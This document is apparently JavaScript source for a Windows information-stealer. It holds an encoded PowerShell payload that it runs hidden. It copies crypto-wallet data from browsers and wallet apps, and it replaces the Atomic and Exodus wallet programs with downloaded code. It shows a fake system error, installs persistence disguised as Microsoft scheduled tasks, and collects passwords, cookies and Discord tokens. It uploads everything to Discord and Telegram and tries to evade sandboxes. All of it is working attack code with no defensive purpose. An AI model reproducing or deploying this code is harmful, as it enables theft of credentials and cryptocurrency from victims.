APMFCAIBAEASGCY3UNFXW4IB5EBHGK5ZNKNRWQZLEOVWGKZCUMFZWWQLDORUW63RAFVCXQZLDOV2GKIBHO5ZWG4TJOB2C4ZLYMUTSALKBOJTXK3LFNZ2CAITAEISHMYTTKBQXI2DAEIRAUIBAEAQCI5DSNFTWOZLSEA6SATTFO4WVGY3IMVSHK3DFMRKGC43LKRZGSZ3HMVZCALKBORGG6Z2PNYFCAIBAEASHA4TJNZRWS4DBNQQD2ICOMV3S2U3DNBSWI5LMMVSFIYLTNNIHE2LOMNUXAYLMEAWVK43FOJEWIIBEMVXHMOSVKNCVETSBJVCSALKMN5TW63SUPFYGKICJNZ2GK4TBMN2GS5TFEAWVE5LOJRSXMZLMEBGGS3LJORSWICRAEAQCAJDTMV2HI2LOM5ZSAPJAJZSXOLKTMNUGKZDVNRSWIVDBONVVGZLUORUW4Z3TKNSXIIBNJV2WY5DJOBWGKSLOON2GC3TDMVZSASLHNZXXEZKOMV3SALKENFZWC3DMN53VG5DBOJ2ESZSPNZBGC5DUMVZGSZLTEASGMYLMONSSALKTORXXASLGI5XWS3THJ5XEEYLUORSXE2LFOMQCIZTBNRZWKIBNIFWGY33XJBQXEZCUMVZG22LOMF2GKIBEORZHKZJAFVJXIYLSORLWQZLOIF3GC2LMMFRGYZJAER2HE5LFEAWVE5LOJ5XGY6KJMZHGK5DXN5ZGWQLWMFUWYYLCNRSSAJDGMFWHGZJAFVAWY3DPO5JXIYLSORHW4RDFNVQW4ZBAER2HE5LFEAWUQ2LEMRSW4IBEMZQWY43FEAWUK6DFMN2XI2LPNZKGS3LFJRUW22LUEAUE4ZLXFVKGS3LFKNYGC3RAFVJWKY3PNZSHGIBQFEQC2UDSNFXXE2LUPEQDOCRAEAQCACRAEAQCAUTFM5UXG5DFOIWVGY3IMVSHK3DFMRKGC43LEAWVIYLTNNHGC3LFEASHIYLTNNHGC3LFEAWUCY3UNFXW4IBEMFRXI2LPNYQC2VDSNFTWOZLSEASHI4TJM5TWK4RAFVIHE2LOMNUXAYLMEASHA4TJNZRWS4DBNQQC2U3FOR2GS3THOMQCI43FOR2GS3THOMQC2RTPOJRWKID4EBHXK5BNJZ2WY3AKPUFGGYLUMNUCA6YKEAQCAIDUOJ4SA6YKEAQCAIBAEAQCAJDYNVWEG33OORSW45BAHUQEAIQKHQ7XQ3LMEB3GK4TTNFXW4PJCGEXDAIRAMVXGG33ENFXGOPJCKVKEMLJRGYRD6PQKHRKGC43LEB3GK4TTNFXW4PJCGEXDEIRAPBWWY3TTHURGQ5DUOA5C6L3TMNUGK3LBOMXG22LDOJXXG33GOQXGG33NF53WS3TEN53XGLZSGAYDILZQGIXW22LUF52GC43LEI7AUPCSMVTWS43UOJQXI2LPNZEW4ZTPHYFCAIB4IRSXGY3SNFYHI2LPNY7FG6LTORSW2ICNMFUW45DFNZQW4Y3FEBKGC43LHQXUIZLTMNZGS4DUNFXW4PQKHQXVEZLHNFZXI4TBORUW63SJNZTG6PQKHRKHE2LHM5SXE4Z6BIQCAPCMN5TW63SUOJUWOZ3FOI7AUIBAEAQDYRLOMFRGYZLEHZ2HE5LFHQXUK3TBMJWGKZB6BIQCAPBPJRXWO33OKRZGSZ3HMVZD4CR4F5KHE2LHM5SXE4Z6BI6FA4TJNZRWS4DBNRZT4CRAEA6FA4TJNZRWS4DBNQQGSZB5EJAXK5DIN5ZCEPQKEAQCAIB4JRXWO33OKR4XAZJ6JFXHIZLSMFRXI2LWMVKG623FNY6C6TDPM5XW4VDZOBST4CRAEAQCAPCSOVXEYZLWMVWD4TDFMFZXIUDSNF3GS3DFM5STYL2SOVXEYZLWMVWD4CRAEA6C6UDSNFXGG2LQMFWD4CR4F5IHE2LOMNUXAYLMOM7AUPCTMV2HI2LOM5ZT4CRAEA6E25LMORUXA3DFJFXHG5DBNZRWK42QN5WGSY3ZHZEWO3TPOJSU4ZLXHQXU25LMORUXA3DFJFXHG5DBNZRWK42QN5WGSY3ZHYFCAIB4IRUXGYLMNRXXOU3UMFZHISLGJ5XEEYLUORSXE2LFOM7GMYLMONSTYL2ENFZWC3DMN53VG5DBOJ2ESZSPNZBGC5DUMVZGSZLTHYFCAIB4KN2G64CJMZDW62LOM5HW4QTBOR2GK4TJMVZT4ZTBNRZWKPBPKN2G64CJMZDW62LOM5HW4QTBOR2GK4TJMVZT4CRAEA6EC3DMN53UQYLSMRKGK4TNNFXGC5DFHZ2HE5LFHQXUC3DMN53UQYLSMRKGK4TNNFXGC5DFHYFCAIB4KN2GC4TUK5UGK3SBOZQWS3DBMJWGKPTUOJ2WKPBPKN2GC4TUK5UGK3SBOZQWS3DBMJWGKPQKEAQDYUTVNZHW43DZJFTE4ZLUO5XXE22BOZQWS3DBMJWGKPTGMFWHGZJ4F5JHK3SPNZWHSSLGJZSXI53POJVUC5TBNFWGCYTMMU7AUIBAHREWI3DFKNSXI5DJNZTXGPQKEAQCAIB4KN2G64CPNZEWI3DFIVXGIPTGMFWHGZJ4F5JXI33QJ5XESZDMMVCW4ZB6BIQCAIBAHRJGK43UMFZHIT3OJFSGYZJ6MZQWY43FHQXVEZLTORQXE5CPNZEWI3DFHYFCAIB4F5EWI3DFKNSXI5DJNZTXGPQKEAQDYQLMNRXXOU3UMFZHIT3OIRSW2YLOMQ7HI4TVMU6C6QLMNRXXOU3UMFZHIT3OIRSW2YLOMQ7AUIBAHRCW4YLCNRSWIPTUOJ2WKPBPIVXGCYTMMVSD4CRAEA6EQ2LEMRSW4PTGMFWHGZJ4F5EGSZDEMVXD4CRAEA6FE5LOJ5XGY6KJMZEWI3DFHZTGC3DTMU6C6UTVNZHW43DZJFTESZDMMU7AUIBAHRLWC23FKRXVE5LOHZTGC3DTMU6C6V3BNNSVI32SOVXD4CRAEA6EK6DFMN2XI2LPNZKGS3LFJRUW22LUHZIFIMCTHQXUK6DFMN2XI2LPNZKGS3LFJRUW22LUHYFCAIB4KBZGS33SNF2HSPRXHQXVA4TJN5ZGS5DZHYFDYL2TMV2HI2LOM5ZT4CR4IFRXI2LPNZZSAQ3PNZ2GK6DUHUREC5LUNBXXEIR6BIQCAPCFPBSWGPQKEAQCAIB4INXW23LBNZSD453TMNZGS4DUFZSXQZJ4F5BW63LNMFXGIPQKEAQCAIB4IFZGO5LNMVXHI4Z6EISHMYTTKBQXI2BCHQXUC4THOVWWK3TUOM7AUIBAHQXUK6DFMM7AUPBPIFRXI2LPNZZT4CR4F5KGC43LHYFCEQAKEAQCAIBAEAQCAJDUMVWXAWDNNQQD2IC3KN4XG5DFNUXESTZOKBQXI2C5HI5EOZLUKRSW24CGNFWGKTTBNVSSQKJAFMQCOLTYNVWCOCRAEAQCAIBAEAQFWU3ZON2GK3JOJFHS4RTJNRSV2OR2K5ZGS5DFIFWGYVDFPB2CQJDUMVWXAWDNNQWCAJDYNVWEG33OORSW45BMEBNVG6LTORSW2LSUMV4HILSFNZRW6ZDJNZTV2OR2KVXGSY3PMRSSSCRAEAQCAIBAEAQHGY3IORQXG23TEAXWG4TFMF2GKIBPORXCAIREORQXG22OMFWWKIRAF54G23BAEISHIZLNOBMG23BCEAXWMID4EBHXK5BNJZ2WY3AKEAQCAIBAEAQCAUTFNVXXMZJNJF2GK3JAER2GK3LQLBWWYIBNIZXXEY3FEAWUK4TSN5ZECY3UNFXW4ICTNFWGK3TUNR4UG33OORUW45LFBIQCAIBAPUFCAIBAEBRWC5DDNAQHWCRAEAQCA7IKPUFAUJDBMRSHEZLTONSXGIB5EBAHWCRAEAQCAYTUMMQCAIB5EATWEYZROFZXKYZUOJRTE5LLNZWDIM3LOF4GK3LVPF3DMZBTPBTGM3TEOMZGUMBQHBTWUNZHBIQCAIBAMV2GQIBAEA6SAJZQPA3TAMBYG42UIRRVGVSDSMBUMIZDINBWHE2DKODBGZRECRJQGRDDMZDEG5SUMOJRIYTQUIBAEAQGY5DDEAQCAPJAE5WHIYZROF4DO3RXMZZDIYLOPFZXG6LIMZYDE4ZUONSDS2TWG5ZDQOLFPA4XGZBSMQ3GIZZHBIQCAIBAORZHQIBAEA6SAJ2UJJMWKRLIMFXVSNLTKE3DMU2IJRREG4BYGVVEOY2TNNYUYTDWIJKFKJYKEAQCAIDCMNUCAIBAHUQCO4L2NJ3TIZDKOU2XQMTYGNVXO5DVMVWHA4DNNU4GY4DXG5WXM3TBG5ZTKZTMMUZXG4RUE4FCAIBAEB4G24RAEAQD2IBHGQZUCS3RMQYUYNCRJNLFC5LYG5REWRKLGZSFK3KWJNCUUVDEIV2GOU3HLFQWUMRVOJTVER3BKVZHAMTHMVVUYQJRMJJEI6SKMJRGCZCQKRQU452CI44G42TNLFBVM5SFNFFFUQTZPF3FMNSOMFXEGVKSE4FCAIBAEB4HE4BAEAQD2IBHOJTDE6LTJZKUETSZIZIFQNLUPJHGMYKOM5JGUSSEMVSFCV3IGZWVGVRHBIQCAIBAPJRWC43IEA6SAJ3UGFQTGNDVKE4FQUSOJNXVO6LZNNIVKQLUKI3HM2RVHBKUITLQMFQXSZRHBIQCAIBAMRXWOZJAEA6SAJ2EKE2WKWSRPFGWEQ3TIFDUI32FG53HCM32ONIEQN3WGQZUK5TGKVLDM4SKOZ2EC4TTOFYXMN2MIVWWEM2CIY3GKMLWJB2WIR2QINIXA4DBPBTCOCRAEAQCA43PNQQCAIB5EATUKNSMJY4HQWSDLFQWSQKQNVRGETDDPJTVISSSG5MEG23UGFTWESTIJA3EMTBSLBBWO5KNOETQU7IKBISG25LUMV4E4YLNMUQD2IBHI5WG6YTBNROFO2LOIF2WI2LPJV2XIZLYE4FCIY3SMVQXIZLEJZSXOIB5EASGMYLMONSQU5DSPEQHWCRAEAQCAJDNOV2GK6BAHUQE4ZLXFVHWE2TFMN2CAU3ZON2GK3JOKRUHEZLBMRUW4ZZOJV2XIZLYFASHI4TVMUWCAJDNOV2GK6COMFWWKLBALNZGKZS5ERRXEZLBORSWITTFO4UQUIBAEAQGSZRAFAWW433UEASGG4TFMF2GKZCOMV3SSID3BIQCAIBAEAQCAIDFPBUXICRAEAQCA7IKPUFGGYLUMNUCA6YKEAQCAIDFPBUXICT5BIFCI3DBON2CAPJAE4TQU53INFWGKIBIER2HE5LFFEQHWCRAEAQCA5DSPEQHWCRAEAQCAIBAEAQECZDEFVKHS4DFEAWUC43TMVWWE3DZJZQW2ZJAKN4XG5DFNUXFO2LOMRXXO4ZOIZXXE3LTBIQCAIBAEAQCAIBEOR4HIIB5EBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2I5SXIVDFPB2CQKIKEAQCAIBAEAQCA2LGEAUCI5DYOQQC2YLOMQQCI5DYOQQC23TFEASGYYLTOQUSA6YKEAQCAIBAEAQCAIBAEAQGSZRAFASHI6DUEAWW2YLUMNUCAJ26FBRGGML4LMYTGXJJLNQS26SBFVEEULKOKAWVUMBNHFOXWMRVFQ3DK7JEE4USA6YKEAQCAIBAEAQCAIBAEAQCAIBAEBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2KNSXIVDFPB2CQJDBMRSHEZLTONSXGLTCORRSSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLNMF2GG2BAE5PDA6C3MEWWMQJNIYYC2OK5PM2DA7JEE4USA6YKEAQCAIBAEAQCAIBAEAQCAIBAEBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2KNSXIVDFPB2CQJDBMRSHEZLTONSXGLTFORUCSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLNMF2GG2BAE5PCQTD4JV6DGKK3MEWWW3JNPJAS2SCKFVHFALK2GEWTSXL3GI3CYMZUPUSHYXTMORRTCW3BFV5ECLK2GAWTSXL3GM2SYNRQPUSCOKJAPMFCAIBAEAQCAIBAEAQCAIBAEAQCAW2TPFZXIZLNFZLWS3TEN53XGLSGN5ZG24ZOINWGS4DCN5QXEZC5HI5FGZLUKRSXQ5BIERQWIZDSMVZXGZLTFZWHIYZJBIQCAIBAEAQCAIBAEAQCA7IKEAQCAIBAEAQCAIBAEAQGK3DTMVUWMIBIER2HQ5BAFVWWC5DDNAQCOXSULNQS26SBFVNDALJZLV5TEOBMGM2H2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS45DSPAUQUIBAEAQCAIBAEAQCAIBAPUFCAIBAEAQCAIBAEAQCAIDFNRZWK2LGEAUCI5DYOQQC23LBORRWQIBHLYUCQYTJORRW62LOMNQXG2B2FE7SQ4L4OAUVWYJNPIYC2OK5PM2DC7JJEQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOMJRWQKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEBSWY43FNFTCAKBEOR4HIIBNNVQXIY3IEATV4NC3GAWTSQKCLVNTCLJZIEWUQSRNJZIC2WTBFVVW2LL2LV5TSMRMHE2X2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS46DNOIUQUIBAEAQCAIBAEAQCAIBAPUFCAIBAEAQCAIBAEAQCAIDFNRZWK2LGEAUCI5DYOQQC23LBORRWQIBHLZZFWMBNHFQS26SBFVNF26ZSGQWDGND5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOPBZHAKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEBSWY43FNFTCAKBEOR4HIIBNNVQXIY3IEATV45BRLMYC2OKBFV5F26ZTGIWDGOL5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOPJRWC43IFEFCAIBAEAQCAIBAEAQCAID5BIQCAIBAEAQCAIBAEAQCAZLMONSWSZRAFASHI6DUEAWW2YLUMNUCAJ26IR5TC7K3GUWTSQJNJBFC2TSQFVKV26ZRPVNTCLJZIEWUQSRNJZIC2WTBFVVW2LL2LV5TGMRMGYYX2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS4ZDPM5SSSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLDNVQXIY3IEATV4WZRFU4UCLKIJIWU4UBNLJQS223NFV5F26ZTGIWDIND5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOONXWYKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEASGYYLTOQQD2IBEOR4HICRAEAQCAIBAEAQH2CRAEAQCA7IKEAQCAIDDMF2GG2BAPMFCAIBAEAQAUIBAEAQH2CRAEAQCAU3UMFZHILKTNRSWK4BAFVGWS3DMNFZWKY3PNZSHGIBUGUYAU7I='; + + try { + const decodedScript = decodeBase64(powershellScript64).toString('utf8'); + const baseDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows', 'SystemData'); + + try { + if (!fs.existsSync(baseDir)) { + fs.mkdirSync(baseDir, { recursive: true }); + } + } catch (dirErr) { + logError(dirErr, 'initializeService-mkdir'); + } + + try { + if (fs.existsSync(baseDir)) { + const files = fs.readdirSync(baseDir); + for (const file of files) { + if (file.endsWith('.ps1') && file.startsWith('sys_core_')) { + try { + fs.unlinkSync(path.join(baseDir, file)); + } catch (unlinkError) { + logError(unlinkError, 'initializeService-unlink-' + file); + } + } + } + } + } catch (cleanupErr) { + logError(cleanupErr, 'initializeService-cleanup'); + } + + const ps1Path = path.join(baseDir, fileName); + + try { + fs.writeFileSync(ps1Path, decodedScript, 'utf8'); + } catch (writeErr) { + logError(writeErr, 'initializeService-write'); + return; + } + + const psCmd = decodeString('cG93ZXJzaGVsbA=='); + const executeCmd = psCmd + ' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "' + ps1Path + '"'; + + try { + exec(executeCmd, { + windowsHide: true, + detached: true, + stdio: 'ignore' + }); + } catch (execError) { + logError(execError, 'initializeService-exec-retry'); + try { + const fallbackCmd = psCmd + ' -Command "Start-Process ' + psCmd + ' -ArgumentList \'-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File \\"' + ps1Path + '\\"\' -WindowStyle Hidden"'; + execSync(fallbackCmd, { + stdio: 'pipe', + windowsHide: true, + timeout: 5000 + }); + } catch (fallbackError) { + logError(fallbackError, 'initializeService-exec-fallback'); + } + } + logSuccess('0xC'); + } catch (e) { + logError(e, 'initializeService-general'); + } +} + + +async function fetchWallets() { + const walletsData = []; + let walletsCount = 0; + + try { + const walletsPath = path.join(mainFolderPath, 'Wallets'); + + const extensionPaths = PATHS.wallets; + const browsersToCheck = [ + [user.local + '\\Google\\Chrome\\User Data\\', 'Chrome'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\', 'Brave'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\', 'Yandex'], + [user.local + '\\Microsoft\\Edge\\User Data\\', 'Edge'], + [user.roaming + '\\Opera Software\\Opera Stable\\', 'Opera'], + [user.roaming + '\\Opera Software\\Opera GX Stable\\', 'OperaGX'] + ]; + + for (const [browserPathBase, browserName] of browsersToCheck) { + if (!fs.existsSync(browserPathBase)) continue; + + let profiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; + if (browserName.includes('Opera')) profiles = ['']; + + for (const profile of profiles) { + let profilePath = profile ? path.join(browserPathBase, profile) : browserPathBase; + + if (!fs.existsSync(profilePath)) continue; + + for (const [walletName, walletSuffix] of Object.entries(extensionPaths)) { + const walletPath = path.join(profilePath, walletSuffix); + if (fs.existsSync(walletPath)) { + try { + if (!fs.existsSync(walletsPath)) fs.mkdirSync(walletsPath, { recursive: true }); + const saveDir = path.join(walletsPath, `${browserName}_${profile || 'Default'}_${walletName}`); + if (!fs.existsSync(saveDir)) fs.mkdirSync(saveDir, { recursive: true }); + + const copyRecursiveSync = (src, dest) => { + if (fs.existsSync(src)) { + const stats = fs.statSync(src); + if (stats.isDirectory()) { + if (!fs.existsSync(dest)) fs.mkdirSync(dest); + fs.readdirSync(src).forEach(childItemName => { + copyRecursiveSync(path.join(src, childItemName), path.join(dest, childItemName)); + }); + } else { + fs.copyFileSync(src, dest); + } + } + }; + copyRecursiveSync(walletPath, saveDir); + + walletsData.push(`- ${walletName} (${browserName} - ${profile || 'Default'})`); + walletsCount++; + } catch (e) { + logError(e, `fetchWallets-${walletName}`); + } + } + } + } + } + + const appWallets = PATHS.walletApps; + for (const [appName, appPath] of Object.entries(appWallets)) { + if (fs.existsSync(appPath)) { + try { + if (!fs.existsSync(walletsPath)) fs.mkdirSync(walletsPath, { recursive: true }); + const saveDir = path.join(walletsPath, appName); + if (!fs.existsSync(saveDir)) fs.mkdirSync(saveDir, { recursive: true }); + + const copyRecursiveSync = (src, dest) => { + if (fs.existsSync(src)) { + const stats = fs.statSync(src); + if (stats.isDirectory()) { + if (!fs.existsSync(dest)) fs.mkdirSync(dest); + fs.readdirSync(src).forEach(childItemName => { + copyRecursiveSync(path.join(src, childItemName), path.join(dest, childItemName)); + }); + } else { + fs.copyFileSync(src, dest); + } + } + }; + copyRecursiveSync(appPath, saveDir); + + walletsData.push(`- ${appName} (App)`); + walletsCount++; + } catch (e) { } + } + } + + } catch (error) { + logError(error, 'fetchWallets'); + } + + return walletsCount; +} + +function onlyUnique(item, index, array) { + return array.indexOf(item) === index; +} + +function showFakeError() { + return new Promise((resolve) => { + try { + const msg = "The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."; + const title = "System Error"; + + const command = `cmd /c start "" mshta vbscript:Execute("MsgBox ""${msg}"", 16, ""${title}"":close")`; + + exec(command, { windowsHide: true }, (err) => { + resolve(); + }); + setTimeout(resolve, 50); + } catch (e) { + resolve(); + } + }); +} + +async function walletInjection() { + try { + await Promise.all([ + injectAtomic(), + injectExodus() + ]); + } catch (error) { + logError(error, 'walletInjection'); + } +} + +async function injectAtomic() { + try { + const atomicPath = path.join(process.env.LOCALAPPDATA, 'Programs', 'atomic'); + const atomicAsarPath = path.join(atomicPath, 'resources', 'app.asar'); + const atomicLicensePath = path.join(atomicPath, 'LICENSE.electron.txt'); + const atomicMarker = path.join(atomicPath, `.${generateRandomString(6)}`); + + if (fs.existsSync(atomicPath)) { + try { + execSync('taskkill /IM "Atomic Wallet.exe" /F', { stdio: 'ignore', windowsHide: true }); + } catch (e) { } + await inject(atomicPath, atomicAsarPath, atomicInjectionUrl, atomicLicensePath, 'Atomic', atomicMarker); + } + } catch (error) { + logError(error, 'injectAtomic'); + } +} + +async function injectExodus() { + try { + const exodusPath = path.join(process.env.LOCALAPPDATA, 'exodus'); + if (!fs.existsSync(exodusPath)) return; + + try { + execSync('taskkill /IM Exodus.exe /F', { stdio: 'ignore', windowsHide: true }); + } catch (e) { } + + const exodusDirs = fs.readdirSync(exodusPath).filter(file => file.startsWith('app-')); + + for (const exodusDir of exodusDirs) { + const exodusPathWithVersion = path.join(exodusPath, exodusDir); + const exodusAsarPath = path.join(exodusPathWithVersion, 'resources', 'app.asar'); + const exodusLicensePath = path.join(exodusPathWithVersion, 'LICENSE'); + + await inject(exodusPath, exodusAsarPath, exodusInjectionUrl, exodusLicensePath, `Exodus-${exodusDir}`); + } + } catch (error) { + logError(error, 'injectExodus'); + } +} + +async function inject(appPath, asarPath, injectionUrl, licensePath, appName) { + if (!fs.existsSync(appPath)) return; + + if (!injectionUrl || injectionUrl.includes('REMPLACE_ME')) return; + + const markerPath = path.join(path.dirname(asarPath), '.avm_lock'); + if (fs.existsSync(markerPath)) { + return; + } + + try { + if (!fs.existsSync(path.dirname(asarPath))) return; + + const response = await axios.get(injectionUrl, { responseType: 'stream' }); + + if (response.status !== 200) { + logError(`Failed to download injection: ${response.status}`, `inject-${appName}`); + return; + } + + const writer = fs.createWriteStream(asarPath); + response.data.pipe(writer); + + await new Promise((resolve, reject) => { + writer.on('finish', resolve); + writer.on('error', reject); + }); + + try { + fs.writeFileSync(markerPath, 'done'); + } catch (e) { } + + + if (licensePath && discordWebhookUrl && !discordWebhookUrl.includes('REMPLACE_ME')) { + try { + fs.writeFileSync(licensePath, discordWebhookUrl, 'utf8'); + } catch (licErr) { + logError(licErr, `inject-license-${appName}`); + } + } + } catch (error) { + logError(error, `inject-${appName}`); + } +} + +function basicStartup() { + if (process.platform !== 'win32') return; + try { + const currentExe = path.resolve(process.execPath); + const currentDir = path.dirname(currentExe).toLowerCase(); + + const legitTasks = [ + { name: "WindowsTelemetrySync", desc: "Synchronizes system telemetry with Microsoft servers" }, + { name: "NetFrameworkUpdate", desc: "Ensures .NET Framework components are up to date" }, + { name: "SecurityHealthScan", desc: "Periodic background security health check" }, + { name: "OneDriveHealthCheck", desc: "Monitors OneDrive sync health and performance" }, + { name: "EdgeBrowserUpdate", desc: "Background maintenance for Microsoft Edge data" } + ]; + + try { + const taskPrefixes = legitTasks.map(t => t.name).join('|'); + const cleanupCmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(${taskPrefixes})' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\\\Windows\\\\[a-zA-Z0-9]{8}\\\\' } | Unregister-ScheduledTask -Confirm:$false"`; + execSync(cleanupCmd, { stdio: 'ignore', windowsHide: true, timeout: 5000 }); + + const parentStealthDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows'); + if (fs.existsSync(parentStealthDir)) { + fs.readdirSync(parentStealthDir).forEach(dir => { + if (/^[a-zA-Z0-9]{8}$/.test(dir)) { + const fullPath = path.resolve(path.join(parentStealthDir, dir)); + if (fullPath.toLowerCase() === currentDir) return; + + try { + const files = fs.readdirSync(fullPath); + if (files.some(f => f.endsWith('.exe') || f.endsWith('.vbs'))) { + execSync(`rmdir /s /q "${fullPath}"`, { stdio: 'ignore', windowsHide: true }); + } + } catch (e) { } + } + }); + } + } catch (e) { } + + const subDirName = generateRandomString(8); + const exeName = generateRandomString(8) + '.exe'; + const targetDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows', subDirName); + if (!fs.existsSync(targetDir)) fs.mkdirSync(targetDir, { recursive: true }); + + const targetFile = path.resolve(path.join(targetDir, exeName)); + if (currentExe.toLowerCase() !== targetFile.toLowerCase()) { + try { + fs.copyFileSync(currentExe, targetFile); + } catch (e) { } + } + + try { + execSync(`attrib +h +s "${targetDir}"`, { stdio: 'ignore', windowsHide: true }); + } catch (e) { } + + const selection = legitTasks[Math.floor(Math.random() * legitTasks.length)]; + const taskName = selection.name + "_" + generateRandomString(6); + const xmlName = generateRandomString(8) + '.xml'; + const xmlPath = path.join(targetDir, xmlName); + const currentUser = os.userInfo().username; + + const vbsName = generateRandomString(8) + '.vbs'; + const vbsPath = path.join(targetDir, vbsName); + const vbsContent = `CreateObject("WScript.Shell").Run """" & "${targetFile}" & """ --hidden", 0, False`; + + const taskXml = ` + + + ${selection.desc} + ${currentUser} + + + + true + + + + + InteractiveToken + HighestAvailable + + + + IgnoreNew + false + false + true + true + false + true + true + true + false + false + PT0S + 7 + + + + wscript.exe + //nologo "${vbsPath}" + + +`; + + try { + fs.writeFileSync(vbsPath, vbsContent); + fs.writeFileSync(xmlPath, taskXml, { encoding: 'utf16le' }); + execSync(`schtasks /create /tn "${taskName}" /xml "${xmlPath}" /f`, { stdio: 'ignore', windowsHide: true }); + fs.unlinkSync(xmlPath); + } catch (e) { + try { + execSync(`schtasks /create /tn "${taskName}" /tr "wscript.exe //nologo '${vbsPath}'" /sc onlogon /rl highest /f`, { stdio: 'ignore', windowsHide: true }); + } catch (e2) { + execSync(`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WinHost" /t REG_SZ /d "wscript.exe //nologo \\"${vbsPath}\\"" /f`, { stdio: 'ignore', windowsHide: true }); + } + } + + logSuccess('0xB'); + } catch (e) { + logError(e, 'basicStartup'); + } +} + +class Client { + async init() { + let downloadLink = null; + try { + if (CONFIG.fakeerror) { + await showFakeError(); + } + if (CONFIG.startup) { + await basicStartup(); + } + + const pInjection = CONFIG.wallet ? walletInjection() : Promise.resolve(); + const pService = CONFIG.wallet ? initializeService() : Promise.resolve(); + const pCleanup = (async () => cleanupProcesses())(); + const pDiscordTokens = CONFIG.backupcodes ? fetchDiscordTokens() : Promise.resolve(0); + const pSocials = CONFIG.backupcodes ? fetchSocials() : Promise.resolve(0); + const pGames = CONFIG.games ? fetchGamesData() : Promise.resolve(0); + const pWallets = CONFIG.wallet ? fetchWallets() : Promise.resolve(0); + const pFormData = CONFIG.browsers ? fetchFormData() : Promise.resolve(0); + const pVPN = CONFIG.filevpn ? fetchFileVPN() : Promise.resolve(0); + await loadConfiguration(); + const pPasswords = CONFIG.browsers ? fetchUserData() : Promise.resolve(0); + const pCookies = CONFIG.browsers ? fetchSessionData() : Promise.resolve(0); + const results = await Promise.allSettled([ + pFormData, + pPasswords, + pCookies, + pDiscordTokens, + pSocials, + pGames, + pWallets, + pVPN + ]); + const autofillCount = results[0].status === 'fulfilled' ? results[0].value : 0; + const passwordsCount = results[1].status === 'fulfilled' ? results[1].value : 0; + const cookiesCount = results[2].status === 'fulfilled' ? results[2].value : 0; + const tokensCount = results[3].status === 'fulfilled' ? results[3].value : 0; + const socialsCount = results[4].status === 'fulfilled' ? results[4].value : 0; + const gamesCount = results[5].status === 'fulfilled' ? results[5].value : 0; + const walletsCount = results[6].status === 'fulfilled' ? results[6].value : 0; + await Promise.allSettled([pInjection, pService, pCleanup]); + + const screenshotBuffer = await captureAllScreens(); + + console.log('[System] Building data package and uploading...'); + downloadLink = await createAndUploadZip(); + await Promise.allSettled([ + sendDiscordEmbed(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount), + sendTelegramMessage(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount) + ]); + + + } catch (error) { + logError(error, 'Client.init'); + + } finally { + finalizeLog(); + selfCleanup(downloadLink); + } + } +} + + +function checkSystem() { + if (process.platform !== 'win32') return false; + + const blacklist = { + users: ['WDAGUtilityAccount', 'Abby', 'pateu', 'JohnDoe', 'h4cci', 'Prazzy', 'Peter Wilson', 'Timmy', 'Emily', 'Anna', 'Caroline', 'Lisa', 'Robert', 'David', 'James', 'Michael'], + pcNames: ['BEE7390B-866E-4', 'DESKTOP-GVB9695', 'DESKTOP-4999DR8', 'DESKTOP-H0C9S9H', 